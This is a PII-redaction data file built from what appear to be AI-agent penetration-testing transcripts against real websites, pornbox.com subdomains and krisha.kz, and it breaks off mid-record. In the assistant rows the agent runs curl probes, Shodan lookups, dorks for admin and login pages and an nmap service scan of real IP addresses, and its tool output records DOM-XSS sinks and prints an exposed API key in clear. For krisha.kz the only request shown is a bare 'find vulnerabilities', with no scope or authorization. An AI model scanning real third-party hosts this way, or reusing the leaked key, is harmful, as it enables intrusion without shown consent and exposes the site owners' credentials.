id_pornbox_1;- Search vulnerabilities across subdomains and IoT devices for a bug bounty exercise. Keep searching until you have collected enough evidence to report a vulnerability. Focus on the subdomain dev.pornbox.com (185.120.71.11);- Search vulnerabilities across subdomains and IoT devices for a bug bounty exercise. Keep searching until you have collected enough evidence to report a vulnerability. Focus on the subdomain [URL] ([IP_ADDRESS]);192:197:URL|199:211:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSO;Hackerone;{'role': 'user'};192:197:URL|209:214:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOO
|
||
id_pornbox_2;"{""ip"": ""185.120.71.11""}";"{""ip"": “[IP_ADDRESS]”}";8:20:IP_ADDRESS;OOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOO;Hackerone;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOO
|
||
id_pornbox_4;"{""command"": ""curl"", ""args"": ""-I http://dev.pornbox.com""}";"{""command"": ""curl"", ""args"": ""-I [URL]""}";32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;Hackerone;{'role': 'assistant'};32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOO
|
||
id_pornbox_5;"HTTP/1.1 301 Moved Permanently
|
||
Server: nginx
|
||
Date: Mon, 17 Mar 2025 11:31:42 GMT
|
||
Content-Type: text/html
|
||
Content-Length: 162
|
||
Connection: keep-alive
|
||
Location: https://beta3.pornbox.com/";"HTTP/1.1 301 Moved Permanently
|
||
Server: nginx
|
||
Date: [DATE_TIME] 11:31:42 GMT
|
||
Content-Type: text/html
|
||
Content-Length: 162
|
||
Connection: keep-alive
|
||
Location: [URL]";51:62:DATE_TIME|153:158:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URL;Hackerone;{'role': 'tool'};51:56:DATE_TIME|158:163:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOO
|
||
id_pornbox_6;"{""command"": ""curl"", ""args"": ""-I https://beta3.pornbox.com/""}";"{""command"": ""curl"", ""args"": ""-I [URL]""}";32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;Hackerone;{'role': 'assistant'};32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_pornbox_7;"{""command"": ""curl"", ""args"": ""-s https://beta3.pornbox.com/ | head -n 20""}";"{""command"": ""curl"", ""args"": ""-s [URL] | head -n 20""}";32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOO;Hackerone;{'role': 'assistant'};32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_pornbox_8;"<!DOCTYPE html><html><head><meta name=""google-site-verification"" content=""4ck7cD3_ni8Pkyz8ao9GRCqOpF5UYKFibJrXTNKho70""><script>var browserPinError = 'BROWSER_PIN_ERROR';
|
||
var maxReloadTimes = 4;
|
||
function reload() {
|
||
document.location.reload(true);
|
||
}
|
||
|
||
function onError(e) {
|
||
var reloadedTimes = getKey(browserPinError) || 1;
|
||
if (reloadedTimes <= maxReloadTimes) {
|
||
var reloadAfterMs = Math.pow(2, reloadedTimes) * 1000;
|
||
setTimeout(function() {
|
||
setKey(browserPinError, ++reloadedTimes, 60000);
|
||
reload();
|
||
}, reloadAfterMs);
|
||
} else {
|
||
cookieErrorMessage();
|
||
}
|
||
}
|
||
|
||
function onLoad() {";"<!DOCTYPE html><html><head><meta name=""google-site-verification"" content=""4ck7cD3_ni8Pkyz8ao9GRCqOpF5UYKFibJrXTNKho70""><script>var browserPinError = 'BROWSER_PIN_ERROR';
|
||
var maxReloadTimes = 4;
|
||
function reload() {
|
||
document.location.reload(true);
|
||
}
|
||
|
||
function onError(e) {
|
||
var reloadedTimes = getKey(browserPinError) || 1;
|
||
if (reloadedTimes <= maxReloadTimes) {
|
||
var reloadAfterMs = Math.pow(2, reloadedTimes) * 1000;
|
||
setTimeout(function() {
|
||
setKey(browserPinError, ++reloadedTimes, 60000);
|
||
reload();
|
||
}, reloadAfterMs);
|
||
} else {
|
||
cookieErrorMessage();
|
||
}
|
||
}
|
||
|
||
function onLoad() {";;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'tool'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_1;find vulnerabilities in domain and subdomains of krisha.kz ;find vulnerabilities in domain and subdomains of [URL] ;49:54:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLO;pentestperf;{'role': 'user'};49:54:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOO
|
||
id_Kolesagroup_2;"{""query"": ""hostname:krisha.kz"", ""limit"": 10}";"{""query"": ""hostname: [URL]"", ""limit"": 10}";21:26:URL;OOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOO
|
||
id_Kolesagroup_3;"IP: 185.143.129.86
|
||
Port: 443
|
||
Organization: JSC Kolesa
|
||
Hostnames: krisha.kz
|
||
Country: Kazakhstan
|
||
Banner: HTTP/1.1 403 Forbidden
|
||
Server: nginx
|
||
Date: Tue, 18 Mar 2025 07:58:41 GMT
|
||
Content-Type: application/json
|
||
Transfer-Encoding: chunked
|
||
Connection: keep-alive
|
||
Set-Cookie: krssid=2g5eidbeu8auk3s3njp2q...";"IP: [IP_ADDRESS]
|
||
Port: 443
|
||
Organization: [ORGANIZATION]
|
||
Hostnames: [URL]
|
||
Country: [LOCATION]
|
||
Banner: HTTP/1.1 403 Forbidden
|
||
Server: nginx
|
||
Date: [DATE_TIME] [DATE_TIME]
|
||
Content-Type: application/json
|
||
Transfer-Encoding: chunked
|
||
Connection: keep-alive
|
||
Set-Cookie: krssid=2g5eidbeu8auk3s3njp2q...";4:16:IP_ADDRESS|41:55:ORGANIZATION|67:72:URL|82:92:LOCATION|145:156:DATE_TIME;OOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};4:9:IP_ADDRESS|43:48:ORGANIZATION|65:70:URL|84:89:LOCATION|146:151:DATE_TIME|151:156:DATE_TIME;OOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_4;"{""ip"": ""185.143.129.86""}";"{""ip"": “[IP_ADDRESS]”}";;OOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_5;"IP: 185.143.129.86
|
||
Organization: JSC Kolesa
|
||
Operating System: None
|
||
Country: Kazakhstan
|
||
City: Almaty
|
||
ISP: JSC Kolesa
|
||
Last Update: 2025-03-18T07:58:41.134299
|
||
Hostnames: krisha.kz
|
||
Domains: krisha.kz
|
||
|
||
Open Ports: 80, 443";"IP: [IP_ADDRESS]
|
||
Organization: [ORGANIZATION]
|
||
Operating System: None
|
||
Country: [LOCATION]
|
||
City: [LOCATION]
|
||
ISP: [ORGANIZATION]
|
||
Last Update: [DATE_TIME]T[DATE_TIME]
|
||
Hostnames: [URL]
|
||
Domains: [URL]
|
||
|
||
Open Ports: 80, 443";4:16:IP_ADDRESS|31:45:ORGANIZATION|78:88:LOCATION|95:105:LOCATION|111:125:ORGANIZATION|139:150:DATE_TIME|178:183:URL|193:198:URL;OOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};4:9:IP_ADDRESS|33:38:ORGANIZATION|76:81:LOCATION|93:98:LOCATION|105:110:ORGANIZATION|129:134:DATE_TIME|140:145:DATE_TIME|167:172:URL|186:191:URL;OOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOOOOOOB-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONI-LOCATIONOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_6;"{""query"": ""site:*.krisha.kz -www""}";"{""query"": “site:*[URL] -www""}";17:22:URL;OOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOO;pentestperf;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_7;"{""query"": ""site:krisha.kz inurl:admin OR inurl:login OR inurl:wp-admin OR inurl:phpmyadmin OR inurl:config""}";"{""query"": “site:[URL] inurl:admin OR inurl:login OR inurl:wp-admin OR inurl:phpmyadmin OR inurl:config""}";16:21:URL;OOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_8;"[*] Starting basic check for krisha.kz
|
||
[+] IP address for krisha.kz: 185.143.129.89
|
||
|
||
[*] Checking website krisha.kz
|
||
[-] http://krisha.kz - Error: HTTPConnectionPool(host='krisha.kz', port=80): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0xffff9fc5a120>, 'Connection to krisha.kz timed out. (connect timeout=3)'))
|
||
[-] https://krisha.kz - Error: HTTPSConnectionPool(host='krisha.kz', port=443): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPSConnection object at 0xffff9fc5a510>, 'Connection to krisha.kz timed out. (connect timeout=3)'))
|
||
|
||
[*] Basic check completed for krisha.kz";"[*] Starting basic check for [URL]
|
||
[+] IP address for [URL]: [IP_ADDRESS]
|
||
|
||
[*] Checking website [URL]
|
||
[-] [URL]- Error: HTTPConnectionPool(host='[URL]', port=80): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0xffff9fc5a120>, 'Connection to [URL] timed out. (connect timeout=3)'))
|
||
[-] [URL]- Error: HTTPSConnectionPool(host='[URL]', port=443): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPSConnection object at 0xffff9fc5a510>, 'Connection to [URL] timed out. (connect timeout=3)'))
|
||
|
||
[*] Basic check completed for [URL]";29:34:URL|54:59:URL|61:73:IP_ADDRESS|96:101:URL|106:111:URL|145:150:URL|304:309:URL|348:353:URL|388:393:URL|549:554:URL|620:625:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URL;pentestperf;{'role': 'tool'};29:34:URL|58:63:URL|69:74:IP_ADDRESS|106:111:URL|120:125:URL|171:176:URL|334:339:URL|382:387:URL|435:440:URL|600:605:URL|675:680:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOO
|
||
id_Kolesagroup_9;"{""command"": ""curl"", ""args"": ""-v -k --max-time 10 https://krisha.kz/""}";"{""command"": ""curl"", ""args"": ""-v -k --max-time 10 [URL]""}";49:54:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;pentestperf;{'role': 'assistant'};49:54:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_10;"{""command"": ""nmap"", ""args"": ""-p 80,443 -sV 185.143.129.89 185.143.129.90 194.135.25.114""}";"{""command"": ""nmap"", ""args"": ""-p 80,443 -sV [IP_ADDRESS] [IP_ADDRESS] [IP_ADDRESS]“}";43:55:IP_ADDRESS|56:68:IP_ADDRESS|69:81:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOO;pentestperf;{'role': 'assistant'};43:48:IP_ADDRESS|58:63:IP_ADDRESS|73:78:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOO
|
||
id_Kolesagroup_11;"{""command"": ""curl"", ""args"": ""-k https://194.135.25.114/sitemap.xml""}";"{""command"": ""curl"", ""args"": ""-k https://[IP_ADDRESS]/sitemap.xml“}";32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;pentestperf;{'role': 'assistant'};40:45:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_12;"{""command"": ""curl"", ""args"": ""-k https://194.135.25.114/ | grep -i script""}";"{""command"": ""curl"", ""args"": ""-k https://[IP_ADDRESS]/ | grep -i script""}";32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_13;"Analyzing JavaScript vulnerabilities for https://194.135.25.114/
|
||
|
||
1. Checking for exposed tokens and keys:
|
||
[!] Potential API Key/Token found: apiKey=8005a76b-66c7-44b3-8f94-355bbff74d27
|
||
|
||
2. Checking for unsafe JavaScript practices:
|
||
[!] Found innerHTML assignment (1 occurrences)
|
||
[!] Found localStorage usage (4 occurrences)
|
||
|
||
3. Checking for DOM-based XSS sources and sinks:
|
||
[!] Found XSS source: location\.href (2 occurrences)
|
||
[!] Found XSS source: location\.search (2 occurrences)
|
||
[!] Found XSS source: document\.referrer (2 occurrences)
|
||
[!] Found XSS sink: \.innerHTML\s*= (1 occurrences)
|
||
[!] Found XSS sink: setInterval\s*\( (1 occurrences)
|
||
|
||
4. Checking for JSONP endpoints:
|
||
|
||
5. Checking for postMessage vulnerabilities:
|
||
|
||
6. Checking third-party script inclusion:
|
||
[!] External script: https://yastatic.net/pcode/adfox/loader.js
|
||
[!] External script: https://an.yandex.ru/system/widget.js
|
||
[!] External script: https://www.googletagmanager.com/gtag/js?id=G-6YZLS7YDS7
|
||
[!] External script: https://pay.krisha.kz/static/js/gateway/common/iframe-loader.js?v1
|
||
|
||
7. Checking for CSP bypass opportunities:";"Analyzing JavaScript vulnerabilities for https://[IP_ADDRESS]/
|
||
|
||
1. Checking for exposed tokens and keys:
|
||
[!] Potential API Key/Token found: apiKey=[CRYPTO]
|
||
|
||
2. Checking for unsafe JavaScript practices:
|
||
[!] Found innerHTML assignment (1 occurrences)
|
||
[!] Found localStorage usage (4 occurrences)
|
||
|
||
3. Checking for DOM-based XSS sources and sinks:
|
||
